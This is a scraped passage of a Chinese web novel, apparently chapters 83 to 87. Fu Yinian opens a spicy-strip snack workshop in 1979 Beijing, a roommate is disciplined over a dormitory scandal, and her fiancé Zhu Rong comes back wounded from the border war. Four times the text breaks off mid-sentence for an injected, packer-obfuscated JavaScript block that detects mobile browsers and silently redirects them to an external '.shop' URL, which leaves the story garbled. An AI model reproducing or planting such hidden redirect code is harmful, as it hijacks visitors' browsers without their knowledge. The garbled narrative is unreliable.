因为这时候还处于一种政策的尴尬期,符伊年和两位长辈都觉得没必要大张旗鼓,因此也没有放鞭炮什么之类的活动,只是选了二月二龙抬头的好日子,大家凑一起吃了一顿饭,又给关二爷上一炷香,就表示开业了。 虽然之前吃过的都表示不错,符伊年以前在安县的预售效果也还好,但她还是不敢做太多,第一次只做了十斤,她甚至已经做好了前三个天赚吆喝的准备了。 不过,十分出人意料的,居然第一天上午就卖光。两个销售,以京城中轴线分划分,一个在东一个在西,中午还没到就回来了,都同符伊年讲,要加大生产才行。 “咱们这么东西,好吃又便宜,一根才五分钱,很多人都是十根十根的买,要不是老板你说了最多一个人一次买十根,估计还要更多。” 符伊年定的标准,十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161556|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根就一两(50g),十根五毛,比一两炒花生米可划算多了。 另外一个销售喝了一大碗的凉白开后,接话道:“不过老板你说的小孩子爱吃倒没有,很多都是男的来买,说当下酒菜的,因为试吃过后都说滋味足。” 听到这些话,符伊年算是安下心了,至少销路不愁,还是不错的。 “辛苦你们了,明天可以多带些,但是每个人最多不超过十斤。”符伊年交待道,别的她不懂,饥饿营销她是听说过的。 这件事安定下来后,很快就到了开学日。 要不说之前符伊年犹豫着要不要买这座院子呢,就是因为这里和农大距离远。公交车路程就要快一个小时不说,中途还要转车,实在有些麻烦。不像之前管方找的那个,距离学习公交二十几分钟而已。 不过后来考虑到大学也就四年而已,她可以不外宿,而是继续住宿舍,而这块地方的房子,错过了以后就很难买到了,就不再犹豫了。 容院长本来想说让马龙开祝军长的车送她去学校,十分不巧的是,祝军长那天有公务,要用车。符伊年自己也觉得没必要,她还没娇惯到公交都坐不了的程度。 “我东西带的不算多,等天热的时候再回家来拿换季衣服好了,这里总比安县近多了。”符伊年说得真诚,一个小时得公交算什么呢,二十年以后京城的打工人有的人通勤单程就要一个小时了。 到了开学那天,符伊年提了一个只装了三身衣服的提包就回到学校,到达宿舍时,其他人都到了,除了于思华。 符伊年没太在意。经过两个学期的相处,符伊年对于思华说不上讨厌,但相比其他人来说就冷淡很多,平时非必要也不讲话。 符伊年放下行李,先把衣服放好,然后将装满辣条的两个饭盒打开盖子,香辣的味道立刻飘散到宿舍的每一个角落。 用不着符伊年喊,很快就有人循着味道过来。先来的是马悦,她正低头缝衣服,闻到香气后吸了吸鼻子,立刻放下手中的针线和衣服,凑了过来,“什么这么香?” “是辣条吗?”刘洋也从上铺跳下来,急得甚至才下到一半就从梯子上下来了,“不是一次最多买十根吗,你哪里买的这么多?” “你吃过啊?”常开心和米仙花也凑了过来,都使劲嗅着香气,顺便吞下不自觉分泌出来的口水。 刘洋点头,“已经在京城流行过一段时间了,一个小伙儿推着推车叫卖,好吃不贵,十分实惠。自己家买了当零食吃、下酒吃都很好,若是家里有客人,买上一盘还可以添个菜——就是十根有点少,得分两三个人分别去买。” “还有这样的?”米仙花用筷子夹了一根,“不都是怕卖不出去,他们家怎么还不让买?”后半句说得有点模糊,因为她嘴里可都是辣条,正在嚼嚼嚼。 “这个我知道,这是个钩子,让人第二天还来买,细水长流。”常开心咽下嘴里的,快速地说,生怕说慢了吃得少。 马跃看了看两个饭盒,“你这得找十个人买才能买两饭盒吧?” 符伊年慢悠悠地夹起一条来吃,笑了笑没说话。 正吃着,隔壁宿舍突然过来了一个人,“你们还吃呢?你们宿舍于思华出事了知道吗?” 84. 经过 第八十四章 开学第一天,符伊年特意给宿舍的同学带了两饭盒的辣条,大家正吃得开心呢,一个隔壁宿舍的同学突然出现在门口。 “你们还吃呢?你们宿舍于思华出事了知道吗?” 哈?五个人不约而同地停下动作看向这位同学,因为嘴里含着东西,只好用眼神来表达自己的吃惊和疑惑,希望她能解释清楚。 可惜同学没能领会到,她正盯着桌上的两个饭盒看,“咦?这啥?好香。”一边说,还直接走进来,用一双筷子夹起来吃了一根,“嗯!好吃好吃!” 符伊年等人都很无语,吃就吃吧,您倒是先把事情解释一下啊,这么吊胃口太不厚道了。 好在同学也没有十分磨蹭,吃完这一根就跟她们解释了来龙去脉。 “我也是看到通告栏才知道的。” 这下子符伊年几个更加震惊了,居然贴了告示在通告栏,可见事情不小。 “去年寒假前不是有一次你们回来发现门被里面反锁以为她出事了结果要踹门时她又突然开门了吗?”同学一口气说了好长个句子,说完后忍不住深呼吸一口气,“是因为她把对象带回宿舍了。你们回来时,两个人正在……”这位同学露出个一言难尽的表情,“后来男的就顺着后窗的水管爬走了。” “yue!”符伊年突然做了一个呕吐的动作,表达自己对这件事的恶心,看向于思华床铺的表情都带着厌恶。 其他几个人也反应过来,同时看向了于思华的床铺,个个都皱着眉头,欲言又止。 “就这么性急,不能出去找个酒店吗?”符伊年毫不留情地吐槽,接着更是疑惑,“咱们楼有宿管阿姨啊,那男的怎么上来的?” 同学已经再吃第二根辣条了,闻言摇摇头,含糊不清地说:“布吉岛。木有介绍信,去不了外头。” 对了,这个时候男女同住要结婚证或者介绍信才行。符伊年想起来了。 “怎么没摔死那个男的。”米仙花像是终于找回了语言能力,恨恨地说,“幸好没丢东西,不然得恶心死。” 她这么一说,其他几个人都恍悟起来,立刻要去检查自己的物品,当然没有物品丢失,毕竟都过了一个寒假了,若是真的有早就被发现了。 “这宿舍,还能住吗?”符伊年突然看向班长常开心,“我想换宿舍了。” 其他几个人也在看她,都在等待她的答案。这个宿舍,它不清白了啊。 常开心有些无语,“我只能问问导员,不过我觉得可能性不大,顶多是她搬出去,不肯能给我们换。” 符伊年叹气,其实她猜到了。这个时期宿舍这么紧张,怎么可能有多余的给她们换。不过要是于思华肯搬走,倒也不错。和这么个人住一起,太恶心。 符伊年本人并不反对婚前性行为,但是前提是,不要打扰别人。去不了招待所,找个个人小店不行吗,或者,那男的不是京城人吗,不能回家吗?公然在女生宿舍打炮,也太没脸没皮了。而且为什么要来女生宿舍啊,去男生宿舍不行吗? 符伊年的眉头越皱越紧,烦躁的她直接把手里的筷子扔了,“晦气!” 刘洋和米仙花都十分赞同地点头。常开心因为是班长,不好直接表达厌恶,但是看表情也是很不开心了。 而马跃,在震惊、疑惑过后,有些深思,这时候突然开口,“他们俩会不会坐牢啊?” “啊?”符伊年不理解,“没那么严重吧,宿舍没有丢东西啊。” 其他几个人听闻她的话,像是看傻子一样看她,看得符伊年心头毛毛的,“我说错了吗?我们不追究,应该就没有问题吧。” 马跃实在受不了她的天真了,只好说得明白些,“不是盗窃罪,是流氓罪。” !符伊年终于明白过来,接着更加好奇起来,“他们俩不是你情我愿的?这也算流氓罪?” 不能怪符伊年不懂,后世是没有流氓罪这么罪名的,后世只有强女干罪、猥亵罪,那是一方对另外一方施暴。而情侣间你情我愿啪啪啪,实在太常见。 “看情况吧,”马跃叹口气,“之前插队的地方有两个知青吃了禁果被发现,后来登记结婚了,就没坐牢,但是先进什么的都不再有了,本来女方可以去小学当老师的,比下田轻松多了。” 几个人面面相觑。她们虽然对于思华干得这件事表示厌恶和不理解,但是没有讨厌到想让她坐牢,要是真的坐牢了,这一辈子可就毁了。 “这个是自己做的还是买得啊?”刚刚报消息的同学突然出声,将几个人的心思拉回来,“太好吃了吧,你们怎么不吃了?” “哎呀!”刘洋突然尖叫起来,“你怎么都吃了!我们还没吃多少呢!” 众人一看,居然趁我们讨论的时候悄咪咪吃了那么多,这还了得,于是纷纷放下于思华之流,手里的筷子全朝饭盒伸去,片刻就哄抢一空,只剩下一点汤水在饭盒底。 符伊年见状,就想拿去水房倒掉顺便把饭盒洗了,结果她还没有碰到饭盒盖,就已经被刘洋和米仙花一人一个抢先了,“等我买了馒头蘸了吃完再说,我给你洗饭盒。” 符伊年:好的。 关于那张贴在通知栏的告示,符伊年等人在晚上去食堂吃饭的时候终于看到了。原来隔壁宿舍的那位同学没有说完全。 那天于思华和她那个叫林正中的对象,趁着宿管阿姨打盹的时候偷偷上了楼,但是没有具体说两人在宿舍是不是啪啪啪了,说的是“林某在女生宿舍停留了一小时零五分钟”,然后符伊年她们回来了开始及叫门,他就趁着夜色昏暗,顺着水管爬下去了,结果刚到楼下就被保安抓住了。 至于为什么这么久了才出通知,告示上说的是“经过长时间调查”,所以才这么长时间。 处理结果倒是有些意外,但也不算完全出乎意料。告示上写了,经过调查,于思华和林正中已经在七八年五月四日领了结婚证了,二人是正经夫妻,不算流氓罪。 但是,“鉴于二人违反学校校规校纪,并造成了非常严重的不良影响,给予二人记大过处分,毕业前每月一篇两千字思想汇报。若再有违规违纪行为,将开除 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13176178|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学籍。” 看到这样的处理结果,403宿舍的人互相看了看,一时间不知道该是什么样的心情该说些什么。 于思华确实不用坐牢了。但是记大过处分也挺严重了,还说“若再有违规违纪行为”就开除学籍。这里头说法可多了,“违规违纪”本身就很难定义——迟到早退旷课也算违纪呢。 不过最令符伊年她们吃惊的是,于思华居然已经领证结婚了?还已经一年了?她们一个宿舍住了这么久,怎么一点风声都没听说呢? 而且,好像于思华和这位林某某才在一起不久吧?七八年初的时候,她还和张超谈对象呢。符伊年看向马跃,马跃也在看她,眼里都是同样的疑惑和想法。 此时来往的人群越来越多,讨论声也越来越大,符伊年听了一会儿,发现很多人都是对这二人表示不屑的,甚至还有骂她们“流氓”“丢人”的,也有觉得既然是夫妻,那只能说是场合地点不对,倒是不涉及犯罪什么的,说是“流氓”有点太过了。 403宿舍众人互相对视后,挤出了人群,继续往食堂走,谁都没说话,实在是不知道说些什么好。别人不清楚,403宿舍的几个人应该是心知肚明的,这所谓等到“登记结婚”,恐怕只是两个人后来的补救而已,至于如何将证件日期写成所谓的“七八年五月四日”,这其中的操作,不可说。 直到走进食堂各自打了饭坐下,常开心先开口了,“告示一出,少不得议论一阵子,咱们对下口风。” 符伊年觉得没必要,“这种事也不是必须通知我们,我们不知情很正常,大家都忙着学习,也没谁特意打听别人的感情生活。”说完顿了顿,“问我的话我就实话实说不知道。” 米仙花正用馒头蘸了辣条的汤汁,正要往嘴里送,闻言也忙不迭地点头,“她一直不和我们一起行动,这是明眼看着的,实话实说就好,没什么不能说的。” 马跃也觉得应该没什么“口风”要对的,“万一说错了话,过几年忘记了再圆不回来怎么办。” 常开心叹气,又看了眼刘洋,刘洋没说话,但很明显是保留意见的,也只好如此,“那就,实话实说吧。” 因为自己的两只饭盒还有些辣条汤汁,而且已经被米仙花和刘洋“霸占”了,符伊年没有办法,只好拿了其中一人的饭盒打了菜,另外一人的饭盒装了一个馒头。 符伊年馒头才吃了一半,辣条汤汁就已经被另外几人蘸着馒头、拌了米饭给吃了个精光。 她哭笑不得,“有那么好吃吗?”不就是辣味豆皮,至于么? “好吃的,”刘洋率先开口,“辣但是又没那么辣,不至于斯哈斯哈,但是很开胃,而且撒了不少芝麻,特别香,还有一点点甜。” “对,”米仙花十分赞同,“酸甜苦辣咸,除了苦,其他四味都齐了。”接着好奇,“年年你到底在哪儿买的啊?” 符伊年没答反问:“真做了苦味你们还买吗?” 四个人有志一同地摇头:“不买。” 这不就得了,谁想吃苦啊,没人想吃苦的好吗? 85. 胜利了 第八十五章 于思华事件的确引起了不大不小的风波。 说不小,是因为农大从建立至今,这是第一起影响比较恶劣的违规违纪事件,若不是后来的确证实了二人早已登记结婚,一个“流氓罪”是躲不了的。 说不大,是因为相对于国家命运而言,个人终归渺小。大家讨论过一阵子后,很快将视线转移到国家大事上面。 上个月,符伊年的作坊开业之前,因为越国对我们武装侵略和挑衅越发过分,我国提出了多次抗议,被置之不理后,边防部队忍无可忍,奉命于2月17日始对越南侵略者进行惩罚性自卫反击。 这次战争持续的时间不长,前后不到一个月。 据报道,在这20多天的作战中,我边防部队重创越军4个正规师10个团,毙敌37300余人,俘敌2200余人,缴获大批武器装备和作战物资,摧毁了越南北部地区针对我国构筑的大量军事设施,给越南侵略者以有力的打击。在政治上,军事上取得了重大胜利。在完成预期目的之后,中国边防部队于3月16日全部撤回华国境内。 从听到这个消息开始,符伊年的心情就十分激动。既高兴于反击战的胜利,又开心于祝镕总算之日可归。她每天都翘首相盼,希望祝镕能早日凯旋。 只要他能快点归来,她就原谅他不告而别的过错。 可惜啊,三月过去了,祝镕没有回来。四月快过完了,祝镕还是没有回来。 四月末,劳动节来临之前,容院长派了司机来接符伊年回四合院过节,还说她的作坊开业有两个月了,她还一次都没回来看过呢。 “总得查查账,自己心里要有个数。”晚饭时,容院长提点她,但也只提点了这一句。 符伊年听了,心中不禁嘀咕,难道是底下的人贪污了?挪用公款了?不过这不是多问的时候,她当下应下来,打算第二天像容院长说得那样,查查帐。 好在至少账面上是清爽的,账本和进货、出货的流水都是对的上的,偶尔有小问题也不大,并没有出现底下人蒙蔽她的事情。 符伊年放下账本,稍微想了一下,就明白了容院长的意图:彰显一下符伊年作为老板的存在感,免得时间长了,大家忘记她的存在。 其实关于“存在感”,倒是没必要过于担忧,只要秘方还要用一天,她得存在感就低不了。而秘方得配料和配置比例,这些都是只有符伊年自己知道的。 劳动节当晚,祝军长下连队慰问回来了。还给符伊年带回了祝镕的消息。 虽然半个月前就已经宣布“全部撤回华国境内”,可是并不代表立刻就能回家/部队,还有很多其他事物要做,所以祝镕恐怕要过一阵子才能回京。 “回来后可能职务要变动一下,也可能先去军校进修,”祝军长心情不错,一杯普通的毛尖喝得有滋有味,“进修完再变动。总之肯定会升职的。” 容院长一边翻看学生刚送来的文件一边应道:“升职不升职的,都没事,平安回来就好,”说着抬起了头,“没受伤吧?” 祝军长喝茶的动作顿了一下,微微移开视线,“没有大伤。”说着像是解释一样,“战争嘛,总会受伤的,没危及生命就好。” 容院长不知道是赞同祝军长的话还是没听清他话里的意思,是简单地应了“哦”就过去了。 符伊年在一旁看着一直没有说话,脑子里却一直在思虑祝军长话里的意思:没有大伤,说明会有些“小伤”,可是小到什么地步又没有标准,但是肯定是没有生命危险的,那么是伤筋动骨了? 不过,既然战后职位可能会变动,至少应该不是残疾了吧——哪有用残疾人做部队主官的,我军又不是没人了。 符伊年悄悄吐出一口气,让自己的表情尽量如常。 其实祝军长和容院长也在偷偷观察符伊年,见她虽然有担忧,但是并没偶表现的特别外放,都在心中点头——虽然不敢要求人“泰山崩于前而面不改色”,还是希望“临大事有大气”,无论是她个人品格的培养还是祝镕妻子的要求,都是有益无害的。 四月就这么过去了,进了五月,天气就热了起来,厚实的春装换下,穿上轻薄的衬衫仔裤各式群子。 因为改革开放的风潮掀起,外面的潮流也涌入了进来,原来比较单一的颜色逐渐被多姿多彩所取代,大红大紫都变得十分常见。 可见人们除了精神开放了,钱包也“放开”了。“钱包放开”对符伊年来说是一件天大的好处,因为很明显进入四月以后,辣条的销售更好了。 因此,符伊年又多雇了三个人,一个帮忙制作,另外两个分去销售。为了不造成恶意竞争和重复消费,她还让新旧四个销售员自己分配了一下片区,每个人都只在划定的区域销售,这样就不怕互相抢客源了。 * 五月一号是劳动节,符伊年将所有的员工,包括新招的几个人,召集到一起,既是开会,也是发放劳动节福利。 得知劳动节还有福利,几个人都挺吃惊的,尤其是后来的几个人,他们嘀咕着还没开始干活就拿福利有些心虚啊。 不过,相对心虚和吃惊,更多的是欣喜,不管怎么样,有总比没有好啊。 其实符伊年的劳动福利不多,就一人一斤五花肉、一包红糖、半斤二锅头,总价值也才八块钱,七八个人下来才花了六七十块,尤其她红糖和二锅头都是在之前那个小卖部买的,买的多,老板娘还给打了个九五折。 福利发放完毕,就是进行会议。符伊年最讨厌一开会就没完没了,明明一件事反反复复地说,事情都说完了,最后还要来个“最后两句”。 所以轮到她自己开会,尤其是自己的作坊,完全没必要拖拖拉拉的一大堆,说重点就好了。 “第一件事就是食品安全问题。天气越来越热了,尽量做到当天制作当天销售,不卖隔夜商品,我们做的是入口的东西,不能变质。食材要安全,做的商品也要安全,从源头把控。” 符伊年看了一圈,选了比较负责、认真的小张做生产环节的质检,另外一个小齐做销售环节的质检。 “当天卖不掉的,一定要回收销毁。”符伊年表情严肃,“不要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13187041|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得浪费,要是弄错了或者被人捡走吃掉,吃坏了谁负责?” “那,自己吃呢?”一个叫王青的员工问,“总还是觉得浪费。” “吃多了不怕上火啊?”符伊年好笑,“所以严格控制生产的数量,估算一下日均销售量就能控制住生产。” 说完这件事,说到第二件,就是关于人员等级问题,她决定在生产和销售两个环节各选出一个小组长,“小张和小齐只是质检,不算组长,不过如果你们俩做得好,销量高,也可以成为组长。成为组长后,工资会相应上调,当然,承担的责任也相应地重不少。” 符伊年说完后,几个人都来了兴趣,摩拳擦掌的,可见金钱的魅力。 五月过去后,进入六月,辣条的产量、销量开始维持在一个稳定的水平,一直到了六月末都没什么变化。 符伊年一开始还以为是因为天热了吃辣条的人少了所以销量上不去,但是等她查看过几个销售员的记录册后,符伊年果断地将后来的那个叫杨成的销售员提为了销售组组长。 销量上不去,天热是一个缘故,另外一个原因是,其他几人的销售范围几乎没有变过,都是在他们经常兜售的地段和城区,几个月来,几乎没有开拓新的销售地域。他们的销量看似稳定,但其实在回落。 而杨成除了最初敲定的销售区域,他还往别处去,尤其是郊区和农村。别以为京城就没有郊区和农村,多的是,只不过离城里远罢了。 其他人都是骑着自行车兜售叫卖,杨成在发现城里销售饱和后,会乘坐着城郊的客车和长途客车,在郊区和乡镇的赶集日里,去集市上兜售、叫卖,而且往往这样的市场销售效果更好。 对于符伊年提拔杨成做销售组的组长,其他人尤其是销售员们很不忿,他们觉得他才来两个月,所有的成果都是捡了最开始几个人的,要不是有最开始打出来的口碑,怎么可能卖那么好? 符伊年没有说什么,她只是把几个人记录的销售册影印后公布出来,这些销售记录了所有人的销量,老员工四个月的,新员工两月的。 结果众人发现,杨成虽然只来了两个月,他的销量竟然占了总销量的三分之一,竟然比几个老员工的销量还高。 众人表情各不相同,尤其几位老员工,先是不可置信,然后是面红耳赤,最后变成了心服口服。 销售组的小组长确定了,符伊年又根据生产的情况,选定了小张张亮为生产组的小组长。至于采购和会计,符伊年决定自己来,毕竟目前还只是个七人小作坊。 至于为什么是七人,是祝军长打听的,说不知道哪里传来的消息,“七上八下”,虽然已经改革开放了,但是个体经济还是要有一定限制,最多七个人,超过八个人就是“资本主义”了。 符伊年听了,心说又不是打水,还七上八下。不过她没有表现出来,而且表现的十分遵从,一直是七个员工,算上她自己才八个人。 如此,“福记”走上正轨,模式短时间内不会变。 七月,麦熟荷绽,骄阳曜人。 祝镕,回来了。 86. 归来 第八十六章 七月,麦子成熟莲荷初绽,骄阳似火烈日曜人。 因为符伊年他们七七届大学生开学是在春天,所以他们的学年结束应该时在寒假。以此推算,七九年的暑假,符伊年刚好时大三上学期结束。 进入大二,课程比大一多了不少,但是因为大一的基础打得好,符伊年还算游刃有余。大二结束,成绩波动不大,让符伊年松了一口气。 到了大三,课程比大二更多,而且全部是十分高深的经济方面的专业课。符伊年学得不算十分吃力,但也要花比之前更多的时间在学习上,才能保持和原来的相同的名次水平。 符伊年深思熟虑后,又同祝军长和容院长商议过后,决定辞掉团支书的工作。 说实话,到了大三,团支书的工作其实已经少了很多了,因为这个时候班级所有的同学都已经入了党,团委的作用相对少了不少。 因此她一说,辅导员就同意了。 “不过,也就剩半学期了,真的不再坚持一下?”辅导员还是试着挽留了一番。 符伊年摇头,“老师,不瞒您说,我在校外开办了一个小食作坊,虽然只有几个工人,但我是想认真开办然后做大做强的,因此以后可能会牵扯不少精力,还有课业,大三的课业也很重,要保持平时的势头和名次,也需要花费很多时间,只好放弃团支书的工作。” 符伊年说得合情合理,辅导员挽留不住,只好同意。不过,他对于符伊年才大三就开办了工厂很吃惊,但更多是赞同。 “你们专业叫‘农林经济’,说是‘农林’,但终归还是经济范畴,提前实践也不错,加油,老师看好你。”辅导员说得分常真诚。 符伊年也真诚地道谢。 辞掉了团支书的工作,符伊年的生活没有变化,依然是按部就班的学习、考试,有条不紊地配制秘方调料、安排工厂的生产和销售。 得益于杨成的“市场下沉”的想法,符伊年不再拘泥于城市里的市场,她要求销售员们试着往周边县城、乡镇推销,尤其是赶集日,往往销量能翻上一番。 由此,这段时间的营业额大幅上涨。销量大了,提成就多了,钱包就鼓起来了。销量最好的员工一天最多能提成两块钱,若是日日如此,一个月可就是六十,比正式职工多了一倍呢。 员工们的干劲儿更足了。 七月十日这天,符伊年、管方、刘洋等几个在京城的同学被老师召唤去帮忙登记成绩,符伊年趁着日头还未升高太阳还没炽热,早早的出了门。 她这天穿了一件鹅黄色格子棉布旗袍,头发在脑后梳成了一个花苞头,脚下是一双白色皮凉鞋,手里撑着一把小花伞,悠哉游哉地从大门走出来,准备出去坐公交车。 才走出大门,她就看到有个人从胡同口走进来,穿着绿色军装,身后背着一个很大的背包,看起来装了不少东西,但是他的步履依然轻快而快速。几乎是一眨眼,就来到了符伊年面前。 符伊年撑着伞,站在大门口没有动,眼睛盯着来到自己面前的人,从上到下打量了一番:行动迅敏,说明腿脚应该是利索的,负重不轻但是游刃有余,说明肩背应该是完好的。脸上没有疤痕,依然帅气如初,就是黑。 符伊年看着这张黑面庞,心说:这是从非洲回来的吧?怎么黑成这个样子? 黑脸庞上一对黑色的眼睛,亮得几乎发光,也在一瞬不瞬地盯着符伊年,像是想要把她吸进他的眼睛里、看到心里。 “进来吧。”符伊年撑着伞转身回了院子,在经过大门的时候,扶了一下门框,迅速地眨了眨眼,把涌出的水汽眨回去。 走了两步,符伊年发现身后没有动静,不禁回头看去。祝镕还站在原地,眼睛依然盯着她,只是刚刚的光亮,已经被水雾替代。 符伊年鼻头发酸心口发胀,哑着声音催促他,“进来呀!” 祝镕终于回了神,大步走进来,跟上符伊年的脚步,但是又不敢离得太近,在她身后半步远的地方,亦步亦趋,期间几次欲言又止,最终只用热烈的目光盯着她的脑后的花苞。 符伊年感觉自己的后脑勺要被盯穿了,但是身后的人就是一声不吭,符伊年来气,打个仗吧你打哑巴了吗? 可是接下去又忍不住联想,战争虽然只有一个月不到,但也是实打实的战争,炮火连天、有伤有亡,说不定早上还一起吃饭的战友,晚上就缺胳膊少腿了,甚至可能回不来了。祝镕他如今一句话不说,不会是战争PTSD了吧? 她是知道这个时期军营的心理辅导还没那么健全,而祝镕又是个有事往自己肚子里吞的性子,甚至经常为了不让人担忧,自己默默消化,以至于等符伊年看出来的时候,他自己都消化完了。 唉。 符伊年长长地叹了一口气,转身用没有撑伞的那只手拉住祝镕的一支袖子,“快点走,外面好晒的。” 祝镕冷不丁被拉住,差点反手就将符伊年的手甩出去,最后一刻想起来,哦,我从战场上下来了,这里是繁华安定的首都,眼前是思之入骨的年年。 白皙的手指攥着绿色的布料,像是一颗心被攥住,希望她就此不要再松手。 祝镕被符伊年拉着,亦步亦趋地跟着走进了东厢房正厅。 “把包放下。”符伊年松开他的袖子,转手去收伞。 祝镕看向被松开的袖子,一种怅然若失的感觉油然而生。 符伊年收了伞放好,转回来发现他还愣愣地站在原地,不禁有些头疼,这是连话都听不懂了? “把包放下,背着不重吗?” “不重。”祝镕下意识答道,然后立刻反应过来符伊年根本不是提问,他侧了身子将身后的背包爱着圆桌放下,自己仍然站在原地。 符伊年见他一个指令一个动作,有些无奈,但还是继续按着自己的心思下令:“把上衣脱了。” 大热天穿着长袖军装,肯定有问题。 “哦。”得到指令的祝镕真的抬起手开始解扣子,解到一半突然顿住,“年,年年,脱衣服就不用了吧,大白天的……这,这不好吧……” 祝镕说得结结巴巴,面上浮现红晕,若不是耳朵都红了,符伊年差点没看出来。 毕竟脸太黑了。 符伊年本来正盯着他黑了透着红的脸庞看,这时候也反应过来自己的话有多歧义,不禁也红了脸,但还是坚持要求,“让你脱就脱,那么多话!” 祝镕:…… 因为理亏,无法反驳,只好顺从。 长袖外套脱掉,符伊年果然在左臂上方看到一条两寸多长的伤疤,右侧倒是完好。 不过符伊年当然不满足,两条手臂而已,“短袖撩起来。”我要看看后背。 这时祝镕也已经明白了符伊年的用意,他遮掩躲闪着,假装自己害羞,“这个,就不用了吧。” 他越是躲避遮掩,符伊年越是肯定有问题,眼睛立即竖起来了,“自己脱还是我动手?” 祝镕无奈,只好自己脱。让她动手,自己未必经得住啊。今天得五公里还没跑呢,精力旺盛得很。 祝镕将军装背心撩上去,露出自己得后背和胸膛。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201607|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >别看祝镕脸黑得像是从非洲回来的,身上依然白得很,除了后背腰腹间一条浅浅的疤痕,前胸后背都是疙瘩。 符伊年吃惊,她想伸手摸一下,被察觉的祝镕躲开。 “这是……”符伊年抬头看向祝镕,“这怎么……” 祝镕实在是被她的视线盯得怕了,赶忙放下背心,“没事,子弹擦过去的,皮外伤,还没有手臂那个伤重。”祝镕说得轻描淡写,拿起一旁的军装外套想要穿上。 符伊年一巴掌给他拍掉了,“问你那些疙瘩怎么回事!” “湿热,蚊虫叮咬,”祝镕状似无意的说,“军医给开了药膏,已经快好了。” 祝镕本意是安抚符伊年,结果没想到符伊年听了后更忧愁了:都“快好了”还这么多,密密麻麻的,没好的时候得多恐怖啊。 身上这样,那腿呢? 祝镕感觉到符伊年看向他下身的目光,双腿不禁立即并拢,“那个,裤子就不脱了吧?万一被人看到,要说我耍流氓的。” 符伊年翻了个白眼,“放心,要耍流氓也是我耍,而且不会现在耍,你这一身疙瘩,我耍不下去。” 祝镕松了一口气,夸张地拍拍胸口,“那就好,那你等等,等我养好一点再来给你……” “闭嘴吧。”符伊年嘀咕道,要么一言不发和哑巴似的,要么插科打诨起来变成油嘴滑舌。 祝镕很听话,让闭嘴就不再说话,只是目光盯着符伊年不肯移开分毫,将她从头到脚看得仔仔细细,恨不得连头发丝什么样都记住。 他的目光如此热烈,符伊年当然感受得到,一开始还有些矜持,后来干脆抛掉顾虑,对着祝镕张开手臂,“抱。”声音也变得哽咽。 祝镕早就想抱一抱她了,只是刚开始的时候符伊年十分平静,搞得祝镕不知道她是生气了还是生疏了,一直没敢有动作。 后来符伊年让他脱衣服查看他的伤势,让他知道年年还是关心惦念他的,只是时间太久了,前后有近一年的时间没有见,只偶尔通信,信件还会被审查,所以两个人都有一些生疏。 也是因此,他才借那个机会插科打诨了一番,从而拉近了两人之间的距离。 现在,年年终于肯对他放开怀抱了。 祝镕将人拉进自己的怀里,用力环抱着,两条手臂箍在符伊年的腰,头埋在他的颈窝,深呼吸了几次,闻到符伊年身上常有的肥皂香气,这才有了真实的感觉——他回来了,怀里抱着朝思暮想的她,真好。 符伊年能感受到祝镕的激动。思念这件事,从来不是一个人,他思念她,她也在想念他,虽然二人远隔千里,有时晚上抬头看看月亮看,也会想他那里是不是也能看得到。 符伊年抱着祝镕的腰,双手在他后背摩挲着安抚着,但口中却说着让祝镕愧疚的话。 “你一句话都不留就走,我当时真的很生气,你知不知道?搞得我好像很不通情达理很无知一样。我理智当然知道这是你军人的职责,可是人又不是机器,设定好程序就行了,人家是有感情的嘛,人家会生气、会伤心、会担忧、会思念的嘛!” 符伊年越想越气,把手掌握成拳头,在祝镕后背敲了敲,“没有下次了知不知道!” “知道知道!”祝镕忙不迭答应下来,抱着符伊年的手臂越发用力,“以后所有的事,只要不涉及保密条例,我都告诉你,去哪里,和谁,全告诉你,好不好?”祝镕的声音也哽咽起来,“不要哭了,哭得我心疼。” 符伊年用他的肩膀擦眼泪,心说:就是要你疼你才会长记性。 哼。 87. 亲近 第八十七章 一年时间说长不长说短不短,好在南疆与京城虽然相隔千里,但也不是不通音信,只是交流起来不方便,电话是不能轻易打的,通信又会被层层审查。 